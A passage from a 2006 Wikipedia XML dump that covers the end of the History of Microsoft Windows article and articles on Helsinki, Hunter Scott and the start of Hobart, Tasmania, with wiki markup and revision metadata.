*&quot;Windows XP Starter Edition&quot;, for new computer users in developing countries
*[[Windows XP Professional x64 Edition]], released on April 25, 2005 for home and workstation systems utilizing 64-bit processors based on the x86 instruction set (AMD calls this AMD64, Intel calls it Intel EM64T)
*[[Windows XP 64-bit Edition]], is a version for Intel's Itanium line of processors; maintains 32-bit compatibility solely through a software emulator.  It is roughly analogous to Windows XP Professional in features.  It was discontinued in September 2005 when the last vendor of Itanium workstations stopped shipping Itanium systems marketed as 'Workstations'.

{{Clr}}

== Windows Server 2003==

[[Image:Windows Server 2003 Enterprise Edition trial.png|thumb|300px|Windows Server 2003 desktop and Start menu.]]
On April 24th, 2003 Microsoft launched [[Windows Server 2003]], a notable update to [[Windows 2000 Server]] encompassing many new security features, a new &quot;Manage Your Server&quot; wizard that simplifies configuring a machine for specific roles, and improved performance.  It has the version number 5.2.

In December 2005, Microsoft released Windows Server 2003 R2, which added a number of management features for branch offices, file serving, and company-wide identity integration.  

Windows Server 2003 is available in seven editions:
* Small Business Server
* Web Edition
* Standard Edition
* Enterprise Edition (32 and 64-bit)
* Datacenter Edition 
* Compute Cluster Edition
* Storage Server

{{Clr}}

== Thin client: Windows Fundamentals for Legacy PCs ==

In [[March 2006]], Microsoft plans to release a [[thin-client]] version of Windows XP Service Pack 2, called [[Windows Fundamentals for Legacy PCs]] (WinFLP).  It will only be available to [[Microsoft Software Assurance|Software Assurance]] customers.  The aim of WinFLP is to give companies a viable upgrade option for older PC's that are running Windows 95, 98, ME, and 2000, that will be supported with patches and updates for the next several years.  Most user applications will typically be run on a remote machine using Terminal Services or [[Citrix]].

== Late 2006: Windows Vista ==
[[Image:Vista_5308_Desktop.png|thumb|300px|Windows Vista desktop, from the February 2006 CTP release]]
{{main|Windows Vista}}
{{seealso|Features new to Windows Vista}}
The next client version of Windows, [[Windows Vista]], is expected in fall 2006. According to Microsoft, this will bring enhanced security from a new restricted user mode called [[User Account Protection]], replacing the &quot;administrator-by-default&quot; philosophy of Windows Xp. Vista will also feature advanced graphics features, a user interface called &quot;[[Aero (user interface)|Aero]]&quot;, a number of new applications (such as [[Windows Calendar|Calendar]], [[Windows Defender|Defender]], a DVD maker, some new games including Chess, Mahjong, and [[Purble Place]]), a revised and more secure version of [[Internet Explorer]], a faster and more intuitive version of [[Windows Media Player]], and a large number of underlying architectural changes.

== 2007: Windows Server &quot;Longhorn&quot; ==
{{main|Windows Server &quot;Longhorn&quot;}}
The next version of Windows Server, currently scheduled for release in the first half of [[2007]], is known by the codename '''Windows Server &quot;Longhorn&quot;''', but given Microsoft's announcement that its server products will maintain the year based naming scheme, it is likely to be released as &quot;Windows Server 2007&quot;.  Server &quot;Longhorn&quot; builds on the technological and security advances first introduced with Windows Vista, and aims to be significantly more modular than its predecessor, Windows Server 2003.
{{Clr}
== Future development: Windows &quot;Vienna&quot; ==
{{main|Windows &quot;Vienna&quot;}}
The next major release after Vista is code-named &quot;[[Windows &quot;Vienna&quot;|Vienna]]&quot;, though in previous years was known by the code-name '''Blackcomb'''.  Little is known about what Microsoft plans for the release of Windows following Vista.


{{Clr}}

== History of the Microsoft Operating Systems ==

===MS-DOS product progression===
* MS-DOS and [[PC-DOS]]
* Windows 1.0
* Windows 2.0
* Windows 2.1 (aka Windows/286 and Windows/386)
* Windows 3.0, Windows 3.1, Windows 3.11 (and Windows for Workgroups)
* Windows 95 (Windows 4.0)
* Windows 98 (Windows 4.1), Windows 98 Second Edition
* Windows Millennium Edition (Windows 4.9)

===OS/2 product progression===
* 16-bit Versions: OS/2 1.0 (CLI only), 1.1, 1.2, 1.3
* 32-bit Versions: OS/2 2.0, 2.1, 2.11, 2.11 SMP, Warp 3, Warp 4
* Until 32 bit Versions : [[OS/2 Warp 5]]

===Current NT-Line product progression===
* Windows NT 3.1, 3.5, 3.51
* Windows NT 4.0
* Windows 2000 (Windows NT 5.0)
* Windows XP (Windows NT 5.1)
* Windows Server 2003 (Windows NT 5.2)



== Timeline ==
{| class=&quot;wikitable&quot;
|align=&quot;center&quot; |&lt;b&gt;Date&lt;/b&gt;
|align=&quot;center&quot; |&lt;b&gt;16-bit&lt;/b&gt;
|align=&quot;center&quot; |&lt;b&gt;16/32-bit&lt;/b&gt;
|align=&quot;center&quot; |&lt;b&gt;32-bit&lt;/b&gt;
|align=&quot;center&quot; |&lt;b&gt;64-bit&lt;/b&gt;
|- 
|align=&quot;right&quot; {{highlight1}}|November, [[1985]]
|[[Windows 1.0]]
|
|
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[1987]]
|[[Windows 2.0]]
|
|
|
|- 
|align=&quot;right&quot; {{highlight1}}|May, [[1990]]
|[[Windows 3.0]]
|
|
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[1992]]
|[[Windows 3.1]]
|
|
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[1992]]
|[[Windows for Workgroups 3.1]] 
|
|
|
|- 
|align=&quot;right&quot; {{highlight1}}|July, [[1993]]
|
|
|[[Windows NT 3.1]]
|
|- 
|align=&quot;right&quot; {{highlight1}}|December, [[1993]]
|[[Windows for Workgroups 3.11]] 
|
|
|
|- 
|align=&quot;right&quot; {{highlight1}}|September, [[1994]]
|
|
|[[Windows NT 3.5]]
|
|- 
|align=&quot;right&quot; {{highlight1}}|May, [[1995]]
|
|
|[[Windows NT 3.51]]
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[August 24]], [[1995]]
|
|[[Windows 95]]
|
|
|- 
|align=&quot;right&quot; {{highlight1}}|July, [[1996]]
|
|
|[[Windows NT 4.0]]
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[June 25]], [[1998]]
|
|[[Windows 98]]
|
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[February 17]], [[2000]]
|
|
|[[Windows 2000]]
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[September 14]], [[2000]]
|
|[[Windows Me]]
|
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[October 25]], [[2001]]
|
|
|[[Windows XP]]
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[April 25]], [[2003]]
|
|
|[[Windows Server 2003]]
|[[Windows Server 2003]] 
|- 
|align=&quot;right&quot; {{highlight1}}|[[2003]]
|
|
|[[Windows XP Media Center Edition 2003]]
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[October 12]], [[2004]]
|
|
|[[Windows XP Media Center Edition 2005]]
|
|- 
|align=&quot;right&quot; {{highlight1}}|[[April 25]], [[2005]]
|
|
|
|[[Windows XP|Windows XP Professional x64 Edition]]
|- 
|align=&quot;right&quot; {{highlight1}}|[[Estimation|Est.]] [[October]], [[2006]]
|
|
|[[Windows Vista]]
|[[Windows Vista]]
|- 
|align=&quot;right&quot; {{highlight1}}|[[2007]]
|
|
|[[Windows Server &quot;Longhorn&quot;]]
|[[Windows Server &quot;Longhorn&quot;]]
|- 
|align=&quot;right&quot; {{highlight1}}|''2009''
|
|
|[[Windows &quot;Vienna&quot;]]
|[[Windows &quot;Vienna&quot;]]
|}

----

==Other==
*[[Windows CE]]
*[[Windows Embedded]]

== See also ==
*[[Comparison of operating systems]]
*[[Apple v. Microsoft]]
*[[Blue Screen of Death]]
*[[History of computing hardware]]
*[[Operating system]]
*[[ReactOS]]
*[[Microsoft Version Number]]
*[[Microsoft codenames]]

== External links ==
*[http://www.pcmag.com/article2/0,1895,1868435,00.asp PC Magazine's long article titled &quot;20 Years of Windows&quot;]
*[http://www.oldos.org Old Os (help get your old PC surfing again)]

*[http://www.toastytech.com/guis/ ToastyTech GUI Gallery (screenshots of early versions of Windows)]

*[http://www.win2000mag.com/Articles/Index.cfm?ArticleID=4494 Windows NT and VMS: The Rest of the Story (discussion of VMS and WNT similarities)]

*[http://osviews.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=4484 Early Windows history (1982-1993)]

{{History_of_Windows}}
[[Category:Microsoft Windows|*History of Microsoft Windows]]
[[Category:History of computing|Microsoft Windows]]

[[es:Historia de Windows]]
[[it:Storia di Microsoft Windows]]
[[nl:Geschiedenis van Windows]]
[[zh:Microsoft Windows的历史]]</text>
    </revision>
  </page>
  <page>
    <title>History of the GUI</title>
    <id>13695</id>
    <revision>
      <id>15911288</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[History_of_the_graphical_user_interface]]
</text>
    </revision>
  </page>
  <page>
    <title>Helsinki</title>
    <id>13696</id>
    <revision>
      <id>41936255</id>
      <timestamp>2006-03-02T19:12:40Z</timestamp>
      <contributor>
        <username>Ilmari Karonen</username>
        <id>398996</id>
      </contributor>
      <comment>rv, cite?</comment>
      <text xml:space="preserve">{{Kuntainfo|
 fullname=Helsingin kaupunki&lt;br&gt;Helsingfors stad|
 coatofarms=[[Image:Helsinki.vaakuna.svg|75px|Helsinki coat of arms]]|
 status=city|
 map=[[Image:Helsinki dot.png|230px|Helsinki on a map of Finland]]|
 province=Southern Finland|
 region=Uusimaa|
 district=Helsinki|
 citymanager=Jussi Pajunen|
 languages=[[Finnish language|Finnish]], [[Swedish language|Swedish]]|
 arearank=342nd|
 area=185.32|
 arealand=184.47|
 poprank=1st|
 popdate=January 1 2006|
 pop=559046|
 popchange=- 0.1|
 popdensity=3,032.1|
 urbanisation=99.9|
 unemployment=8.9|
 website=http://www.helsinki.fi/
}}
'''Helsinki''' (pronounced with the stress on the first syllable in [[Finnish language|Finnish]]: {{IPA|['helsiŋki]}}), or  '''Helsingfors''' in [[Finland-Swedish|Swedish]] ({{Audio|sv-Helsingfors.ogg|listen}}), also called '''&quot;Stadi&quot;''' in [[Helsinki slang|local slang]], is the [[capital]] of [[Finland]]. It is located in the southern part of Finland on the shore of the [[Gulf of Finland]], at {{coor dm|60|10|N|24|56|E|}}. The population of Helsinki is about 560,000. Helsinki forms a [[conurbation]] with three other cities, [[Espoo]], [[Vantaa]] and [[Kauniainen]], which are together called the capital area. This area has about 975,000 citizens. The [[Greater Helsinki]] area contains many more municipalities and has a total population of 1,232,741 (2004). 

== History ==
{{main|History of Helsinki}}
Founded in 1550 as a rival to the Hanseatic city of [[Tallinn]] by the King [[Gustav I of Sweden]], Helsinki struggled in its infancy. The fledging settlement was plagued by poverty, wars and diseases. For a long time it remained as a small low-key coastal town, overshadowed by the more thriving trade centers in the Baltic region. Construction of the [[Suomenlinna]] sea fortress helped to improve its status, but it was not until Russia defeated Sweden in the [[Finnish War]] and annexed Finland as autonomous [[Grand Duchy of Finland]] in 1809 that Helsinki began to truly change.

To help reduce the Swedish influence, tsar [[Alexander I of Russia]] had the capital moved from [[Turku]] to Helsinki. [[Academy of Åbo]], the only university in the country, was also relocated to Helsinki in 1827, eventually becoming the [[University of Helsinki]]. This move consolidated the city's new role and the following decades saw unprecedented growth and development for the city, creating the prerequisites for the birth of a modern world class capital in the 20th century. This transformation is highly apparent in the downtown core, which was rebuilt in [[neoclassicism|neoclassical]] style to resemble [[St. Petersburg]]. Like elsewhere, technological advancements such as railroads and [[industrialization]] were a key factor behind the growth.
 
Although much of the first half of the 20th century was a violent period for Helsinki, it continued to steadily develop. Modern postwar urbanization of the 1970s, which occurred relatively late in European context, tripled the population in the metropolitan area, making the [[Helsinki metropolitan area]] one of the fastest growing urban centers in the European Union in 1990s.

==Services==
[[Image:Helsinkimerelta--GFDL--.jpg|thumb|right|Historical downtown Helsinki skyline from the sea]]
[[Image:Hesakirkot--GFDL--.jpg|thumb|right|Rooftops of the southern inner city districts]]
[[Image:Senaatintori joulukuisena aamuna 2004.jpg|thumb|right|The Senaatintori square on a winter morning]]
===Education===
Helsinki has 190 comprehensive schools, upper secondary schools and 15 vocational institutes. Half of the 41 upper secondary schools are private or state-owned. Higher level education is given in eight universities (see the section &quot;Universities&quot; below) and four polytechnics.

==== Institutions of higher education ====
===== Universitites =====
''Main article: [[Universities in Finland]]''
*[[University of Helsinki]]
*[[Helsinki University of Technology]] (actually located in [[Espoo]])
*[[Helsinki School of Economics]]
*[[Swedish School of Economics and Business Administration]]
*[[Academy of Fine Arts (Finland)|Academy of Fine Arts]]
*[[Sibelius Academy]]
*[[Theatre Academy (Finland)|Theatre Academy]]
*[[University of Art and Design Helsinki]]
*[[National Defence College (Finland)]] (not necessarily considered a university)

===== Polytechnics =====
*[[Helsinki Polytechnic Stadia]]
*[[Helsinki Polytechnic Arcada]]
*[[Helsinki Business Polytechnic (Helia)]]

=== Traffic ===
{{main|Public transport in Helsinki}}
[[Image:Mannerheimintie.jpg|thumb|right|Mannerheimintie]]
In Helsinki, [[public transport]] is mostly managed by [[Helsinki City Transport]]. The diverse [[Public transport in Helsinki|public transport system]] consists of [[Helsinki tram|tram]]s, ''[[VR lähiliikenne]]'' [[commuter train]]s, the [[Helsinki Metro]] and [[bus]] lines. The [[Helsinki Metropolitan Area Council]] manages traffic to the surrounding municipalities of Espoo, Vantaa and Kauniainen.

Today, Helsinki is the only city in Finland to have trams or metro trains. There used to be two other cities in Finland with tram traffic: [[Turku]] and [[Viipuri]] (Vyborg). However, Turku abandoned trams in [[1972]] and Viipuri (at that time part of the [[Soviet Union]]) abandoned them in [[1957]].

The metro line, opened in [[1982]], was the first, and so far the only, metro line in all of Finland. For the first 16 years of its existence, the line was [[topology|topologically]] only one straight line, but in [[1998]] a fork was added at [[Itäkeskus metro station]], dividing the remainder of the line into two branches with three stations each. Metro is an especially important method of transportation for commuters in the growing suburbs of Eastern Helsinki, and there are also plans to further expand the system to [[Espoo]] (see ''[[Länsimetro]]''), but lack of agreement over financing has caused delays to the project. If the plans for automation in the system are approved, the Helsinki Metro will operate without drivers in 2010.

Air traffic is handled from the international [[Helsinki-Vantaa Airport]] and [[Malmi Airport]]. Ferry connections to [[Tallinn]] and [[Stockholm]] are serviced by various companies, including [[Silja Line]], [[Viking Line]], [[SeaWind Line]], [[Linda Line]], [[Nordic Jet Line]] and [[Tallink]] (see [[Ruotsinlaiva]]). [[Finnlines]] passenger-freight ferries to [[Travemünde]], [[Germany]] are also available. [[Copterline]] provides fast helicopter flights to Tallinn.

=== Other services ===

The largest hospitals of Finland are located in Helsinki, for example [[HYKS]] and many private hospitals. Also [[police]] and [[firemen|fire departments]] serve citizens.

== Politics ==

[[Image:Helsinki climate.png|thumb|right|250px|The Climate in Helsinki]]
{{main|Politics of Helsinki}}


== Geography ==
{{main|Geography of Helsinki}}
Helsinki spreads around a number of bays and peninsulas and over a number of islands. Some of the most important islands include [[Seurasaari]], [[Lauttasaari]] and [[Korkeasaari]] &amp;ndash; which is also the country's biggest zoo &amp;ndash; as well as the fortress island of [[Suomenlinna]] (Sveaborg) and the military island of [[Santahamina]].

== Architecture ==
[[Carl Ludvig Engel]] (1778-1840) designed several [[neoclassicism|neo-classical]] buildings in Helsinki. He was kept in Helsinki by a unique assignment, as he was elected to plan a new centrum all on his own, which later on was also referred to as ''The White City Of The North''. The city became shallow and wide at the time when most buildings had only two or three floors. The central point of Engel's city is the [[Helsinki Senate Square|Senate Square]], surrounded by the Government's Palace, the main building of the University, and the enormous [[Helsinki Cathedral|Cathedral]], which was finished in 1852, twelve years after C. L. Engel's death.

[[Image:Helsinki Cathedral in July 2004.jpg|thumb|right|320px|The [[Helsinki Cathedral]] (Fin. ''Helsingin tuomiokirkko'', Swe. ''Helsingfors domkyrka''). The cathedral is often seen as one of the most prominent symbols for the city of Helsinki.]]

Helsinki is, however, perhaps even more famous for its numerous [[Art Nouveau]] buildings, designed in the early 1900s and strongly influenced by [[Kalevala]], which is a very popular theme in the national romantic art of that era. Helsinki's Art Noveau style is also featured in large residential areas such as Katajanokka and Eira. The master of the Finnish art noveau was [[Eliel Saarinen]] (1873-1950), who's architectural masterpiece was the Helsinki central railway station. 

Helsinki also features several buildings by the world-renowned Finnish architect [[Alvar Aalto]] (1898-1976), attributed as one of the pioneers in functionalism. Many of Aalto's works are both loved and hated. Aalto's buildings, such as the headquarters of the paper company Enso and the concert and congress house [[Finlandia Hall]], have been much debated by Helsinki's inhabitants.

== Culture ==
Helsinki can also be considered Finland's culture-capital. Helsinki's two main museums are the [[Ateneum]] and the [[Kiasma]], the later displaying contemporary art, while the former being well-known for its classical art exhibitions.

Helsinki's main musical venues are the [[Finlandia Hall|Finlandia concert-hall]] and the [[Finnish National Opera]]. Bigger concerts and events are usually held at one of the city's two big hockey-stadiums the [[Hartwall Areena]] or the [[Helsingin jäähalli]]. Helsinki also has a big [[Helsinki Fair Centre|fair centre]].

Helsinki is also known for its active [[Helsinki ICT and digital culture scene|ICT and digital cultures scene in Greater Helsinki]].

Some widely renowned bands originate from Helsinki, including [[Stratovarius]], [[HIM (band)|HIM]], [[The Rasmus]], and [[The 69 Eyes]].

=== Events ===
*[http://www.valonvoimat.org/ Valon Voimat] &quot;Forces of Light&quot; is an annual winter arts festival.
*[http://www.helsinkifestival.fi/ Helsingin Juhlaviikot] is an annual arts and culture festival, which takes place every August.
*[[Vappu]] &quot;Vappu&quot; is an annual carnival for students and workers.

== Tourism ==
''See also: [[Tourism in Finland]]'', ''[[List of sites in Helsinki]]''

Helsinki is small and intimate; lively but not bustling. Its size makes it easy to walk around and [[café]]s, [[market]]s, and the nearby islands are its summer delights.

[[Image:File0156.jpg|thumb|right|Hietaniemi Beach, commonly called ''Hietsu'']]
Because Helsinki is located at the coast of the [[Baltic Sea]] and has many kilometres of coastline, most of its central districts are near the seaside. Helsinki is a very maritime city and is popularly called ''the daughter of the Baltic''.

Helsinki's coastal position makes it ideal to experience in the summertime from one of the many sightseeing ferries leaving from the port of Helsinki. Many of Helsinki's main attractions are also related to the sea, the [[Suomenlinna]] sea-fortress built in the [[18th century]] to defend the city and the [[Seurasaari]] Island with its parks and open-air museum, the former being a [[United Nations Educational, Scientific and Cultural Organization|UNESCO]] [[World Heritage site]]. Locals often spend sunny days at the Hietaniemi Beach (often simply called ''Hietsu''), Helsinki's main beach in the district of Töölö.

In the winter-time Helsinki's northern position makes it dark for most of the day, thus making it a cosy town with much interesting lighting, such as the classic Aleksanterikatu's Christmas street (''Joulukatu''). During very cold periods it is very common for Helsinkians to go for walks on the frozen sea, although much caution must be taken.

Air travel to Helsinki is via the [[Helsinki-Vantaa Airport]]. Helsinki also has popular [[ferry]] links with [[Stockholm]], [[Sweden]] and [[Tallinn]], [[Estonia]]. [[Silja Line|Silja]], [[Viking Line|Viking]] and [[Tallink]] are the biggest ferry operators.

&lt;gallery&gt;
Image:Suomenlinna.jpg|[[Suomenlinna]] Sea Fortress
Image:Tower of the Helsinki Olympic Stadium.jpg|[[Helsinki Olympic Stadium]] Tower, offers a good view over Helsinki.
Image:Finnish National Theatre.jpg|[[Finnish National Theatre]]
Image:Helsinki Railway Station 20050604.jpg|[[Helsinki Central railway station]]
Image:Suurkirkko Helsinki maaliskuu 2002 IMG 0629.JPG|Port of Helsinki and the [[Helsinki Cathedral]]
Image:Uspensiki by SamSegar.jpg|The Uspenski Orthodox cathedral
Image:Eingang Felsenkirche Helsinki.jpg|Entrance of Temppelinaukio Church that is built underground.
Image:Esplanadin puisto.jpg|The [[Esplanadi]] Park in central Helsinki
Image:Stockmann department store in Helsinki at dawn in December 2004.jpg|[[Stockmann]] department store along the [[Aleksanterinkatu]]'s Christmas street.
&lt;/gallery&gt;

== Notable natives ==
&lt;!-- Please check the talk page under &quot;notable natives&quot; before adding or removing anyone here --&gt;
*[[Ragnar Granit]] - [[Nobel laureate]]
*[[Tarja Halonen]] - President of the Republic of Finland
*[[Tove Jansson]] - author and creator of the [[Moomin]] characters
*[[Adolf Erik Nordenskiöld]] - scientist
*[[Esa-Pekka Salonen]] - conductor and composer
*[[Helene Schjerfbeck]] - painter
*[[Linus Torvalds]] - creator of the [[Linux kernel]]
*[[Ville Valo]] - musician, [[HIM (band)|HIM]]
*[[Artturi Ilmari Virtanen]] - [[Nobel laureate]]
*[[Mika Waltari]] - author
*All members of the rock band [[The Rasmus]]

== Olympics ==
Helsinki was the host of the [[1952 Summer Olympics]].

==Trivia==
The [[asteroid]] [[1495 Helsinki]] was named after the city by its discoverer, the Finnish [[astronomer]] [[Yrjö Väisälä]].

== See also ==
*[[Helsinki Accords]]

==External links==
{{commons|Helsinki}}
*[http://www.hel.fi/ Helsinki] &amp;ndash; Official site
*{{wikitravel}}
*[http://fox.zero.ad.jp/~zas68510/Helsinki_Map_Blank.gif Map of central Helsinki]
*[http://www.histdoc.net/kaup1902/helsinki.gif Map of Helsinki in 1902]
*[http://kartta.hel.fi/opas/images/seutu.jpg Map of Helsinki Metropolitan Area]
*[http://aikataulut.ytv.fi/reittiopas/en/ Journey Planner] &amp;ndash; a web application for determining public transport routes in the Helsinki region
*[http://www.helsinginsanomat.fi/english/extras/photogallery Helsinki through the lense] &amp;ndash; Photo gallery
*[http://virtual.finland.fi/netcomm/news/showarticle.asp?intNWSAID=27690&amp;LAN=ENG Webcam] Helsinki live webcam
*[http://virtual.finland.fi/finfo/images/helsin.jpg Satellite map of Helsinki]
*[http://groups.msn.com/FinlandTravelClub/helsinki.msnw Helsinki] - Finland Travel Club
*[http://maps.google.com/maps?q=Helsinki&amp;ll=60.167198,24.943900&amp;spn=0.014724,0.051533&amp;t=k&amp;hl=en Satellite map of Helsinki] on [[Google maps]]

{{Olympic Summer Games Host Cities}}

{{Link FA|cs}}

[[Category:Capitals in Europe]]
[[Category:Cities and towns in Finland]]
[[Category:Coastal cities in Finland]]
[[Category:Helsinki|Helsinki]]
[[Category:Host cities of the Summer Olympic Games]]
[[Category:Municipalities of Uusimaa Region]]

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[[zh:赫尔辛基]]</text>
    </revision>
  </page>
  <page>
    <title>Hunter Scott</title>
    <id>13698</id>
    <revision>
      <id>37484178</id>
      <timestamp>2006-01-31T07:02:25Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Hunter Alan Scott''' (born [[June 9]] [[1985]]) is best known for the research he did regarding  ''[[USS Indianapolis (CA-35) | USS Indianapolis]]''.  He is [[as of 2004|currently]] studying [[journalism]] at the [[University of North Carolina at Chapel Hill]] on a [[United States Navy|Naval]] [[ROTC]] scholarship.  

Scott is originally from [[Pensacola, Florida]] and an alumnus of [[Pensacola High School]]. The research Scott did on the ''Indianapolis'', which he did in 1998 as part of a history assignment, was instrumental in raising public awareness of the issues related to the [[court-martial]] of the ship's commanding officer, Capt. [[Charles B. McVay III]]. (''Source:'' Detroit News, ''April 23, [[1998]]'')

Scott's efforts, which received national media attention, combined with the diligence of the ''Indianapolis'' Survivors Organization, resulted in passage of a [[Congress of the United States|Congressional]] resolution[http://www.ussindianapolis.org/resolution.htm] in October of [[2000]], which was also signed by [[Bill Clinton|President Clinton]].  

In his testimony before Congress, young Scott stated:
::''&quot;This is Captain McVay's dog tag from when he was a cadet at the Naval Academy&quot;'' he said. ''&quot;As you can see, it has his thumbprint on the back. I carry this as a reminder of my mission in the memory of a man who ended his own life in 1968. I carry this dog tag to remind me that only in the United States can one person make a difference no matter what the age. I carry this dog tag to remind me of the privilege and responsibility that I have to carry forward the torch of honor passed to me by the men of the USS Indianapolis.&quot;'' [http://www.insightmag.com/media/paper441/news/2000/06/05/InvestigativeReport/For-The.Good.Of.The.Navy-213231.shtml]

Hunter Scott was subsequently featured in ''[[George (magazine) | George]]'' as &quot;one of the most intriguing political figures&quot; of the year.  In [[2004]], Scott spoke at events surrounding the dedication of the [[National World War II Memorial]] in [[Washington, D.C.]].

==Reference==
* Peter Nelson. ''Left for Dead'' ISBN 0385729596 (preface by Hunter Scott)

==External links==
*[http://www.usni.org/navalhistory/Articles98/NHscott.htm Timeline to Justice, by Hunter Scott]
*[http://www.ussindianapolis.org/ USS Indianapolis - Still at sea]

[[Category:1985 births|Scott, Hunter]]
[[Category:Living people|Scott, Hunter]]
[[Category:Military writers|Scott, Hunter]]</text>
    </revision>
  </page>
  <page>
    <title>Hobart</title>
    <id>13699</id>
    <revision>
      <id>41888591</id>
      <timestamp>2006-03-02T11:08:10Z</timestamp>
      <contributor>
        <username>Gregorydavid</username>
        <id>814656</id>
      </contributor>
      <comment>add second s to tessellate</comment>
      <text xml:space="preserve">:''For other places and things named Hobart, see [[Hobart (disambiguation)]].''
&lt;!-- BEGIN INFOBOX --&gt; 
{{Infobox Australian City|
name = Hobart |
image_map = Hobart locator-MJC.png |
name = Hobart |
latd=42|latm=53|latNS=S|longd=147|longm=17|longEW=E|
jurisdiction = [[Tasmania]] |
area = 1357.3 |
time_zone= [[UTC10|AEST]] |
utc_offset= +10 |
time_zone_DST= [[UTC11|AEDT]] |
utc_offset_DST= +11 |
population_estimate_year = 2004 |
population_estimate = 202,138 |
population_estimate_rank = 12th |
population_density = 148.9 |
}}
&lt;!-- END INFOBOX --&gt;
'''Hobart''' is the [[List of Australian capital cities|state capital]] and most populous city of the [[Australia]]n island state of [[Tasmania]]. Founded in 1804 as a [[penal colony]], it is Australia's second oldest and twelfth largest city, with a metropolitan population of just over 200,000. The city is the financial and administrative heart of Tasmania, and also serves as the home port for both Australian and French [[Antarctic]] operations.

==History==
The first settlement was started in 1803 as a penal colony at [[Risdon Cove]] on the eastern shores of the [[Derwent River, Tasmania|Derwent River]], amid British concerns over the presence of French [[explorers]]. In 1804 it was moved to a better location at the present site of Hobart at [[Sullivan's Cove, Tasmania|Sullivan's Cove]]. The area's [[Tasmanian_Aborigine|original inhabitants]] were members of the semi-nomadic Mouheneer tribe. A series of bloody encounters with the Europeans and the effects of diseases brought by the settlers forced away the aboriginal population, which was rapidly replaced by free settlers and the [[convict]] population.

[[Charles Darwin]] visited Hobart Town in February, 1836 as part of the [[The Voyage of the Beagle|Beagle expedition]]. He writes of Hobart and the Derwent estuary in his ''Voyage of the Beagle''
:''...The lower parts of the hills which skirt the bay are cleared; and the bright yellow fields of corn, and dark green ones of potatoes, appear very luxuriant... I was chiefly struck with the comparative fewness of the large houses, either built or building. Hobart Town, from the census of 1835, contained 13,826 inhabitants, and the whole of Tasmania 36,505.''

But since the Derwent River was one of Australia's finest deepwater ports and was the centre of the Southern Ocean whaling and seal trade, it rapidly grew into a major port, with allied industries such as ship-building. Hobart Town became a city in 1842, and was renamed Hobart in 1875.
&lt;!-- ''(history needed here, including penal colony, seal and whalers, postwar economic decline)'' --&gt;

==Geography==
[[Image:Mt_wellington.jpg|right|frame|Hobart from the Eastern Shore]]
Hobart is located on the estuary of the [[Derwent River, Tasmania|Derwent River]] in the state's south-east at {{coor dm|42|52|S|147|19|E|type:city(245,000)_region:AU-TAS}}. The [[central business district]] is located on the western shore, adjacent to [[Sullivan's Cove, Tasmania|Sullivan's Cove]], with the inner suburbs spread out along the shores of the Derwent and climbing up the hills at the foot of [[Mount Wellington, Tasmania|Mount Wellington]] (1270 metres/4233 feet high).  The Port of Hobart occupies the whole of the original Sullivan's Cove.

The Greater Hobart Metropolitan area consists of three self-governing cities, Hobart, Glenorchy and Clarence, plus the urbanised areas of the Municipalities of Kingborough and Brighton.  The suburban areas cover a significant amount of both the western and eastern sides of the river. Apart from the city, the main commercial centres are [[Glenorchy, Tasmania|Glenorchy]] (the ''northern suburbs'') and [[Rosny, Tasmania|Rosny]] (the ''eastern shore''). The satellite town [[Kingston, Tasmania|Kingston]], south of the city, is fast becoming an outlying suburb of Hobart. Other surrounding towns such as [[Sorell, Tasmania|Sorell]], [[Margate, Tasmania|Margate]], [[Brighton, Tasmania|Brighton]] and [[New Norfolk, Tasmania|New Norfolk]] are popular residential areas for commuters.

See also ''[[List of Hobart suburbs]]''

===Climate===
Hobart has a mild temperate [[oceanic climate]], with four distinct [[season]]s. The highest temperature recorded was 40.8°C on 4 January 1976 and the lowest was -2.8°C on 25 June 1972.

{| class=&quot;wikitable&quot; style=&quot;width: 75%; margin: 0 auto 0 auto;&quot;
|+ '''Climate Table'''
|- 
! 
! Jan
! Feb
! Mar
! Apr
! May
! Jun
! Jul
! Aug
! Sep
! Oct
! Nov
! Dec
!Year
|-
! Mean daily maximum temperature ([[Celsius|°C]])
|21.6
|21.6
|20.1
|17.3
|14.4
|11.9
|11.6
|13.0
|15.0
|16.9
|18.6
|20.3
|16.9 
|-
! Mean daily minimum temperature ([[Celsius|°C]])
|11.8
|12.0
|10.8
|8.9
|6.9
|5.2
|4.5
|5.2
|6.4
|7.7
|9.2
|10.8
|8.3
|-
! Mean total rainfall ([[Millimetre|mm]])
|48.0
|39.8
|45.7
|51.8
|47.0
|54.6
|52.8
|53.0
|52.4
|62.6
|54.5
|57.2
|619.5
|-
! Mean number of rain days
|10.9
|9.4
|11.3
|12.2
|13.4
|14.0
|14.9
|15.2
|15.1
|16.4
|14.2
|12.9
|159.9
|- 
| colspan=&quot;15&quot; style=&quot;text-align: center;&quot; | &lt;small&gt;'''Source:''' [http://www.bom.gov.au/climate/averages/tables/cw_094029.shtml Bureau of Meteorology]&lt;/small&gt;
|}

==Demographics==
[[Image:LGA_Tas_SE_Hobart.png|thumb|250px|left|The City of Hobart (green) and Greater Hobart (teal)]]
The greater Hobart area has a population of around 245,000 (census 2005) people.  The '''City of Hobart''' local government area has a population of 47,319 (census 2001).

==Government==
''See also: [[List of Mayors and Lord Mayors of Hobart]]''

The greater Hobart area today is covered by five [[Local Government Areas of Tasmania|local government areas]] - the '''City of Hobart''', [[Glenorchy, Tasmania|City of Glenorchy]] and [[City of Clarence]], as well as a small part of [[Municipality of Kingborough|Kingborough]] and [[Brighton, Tasmania|Brighton municipalities]].

The City of Hobart is governed by twelve aldermen, headed by the Lord Mayor of Hobart [[Rob Valentine]].  Councillors are elected biennially.

==Economy and tourism==
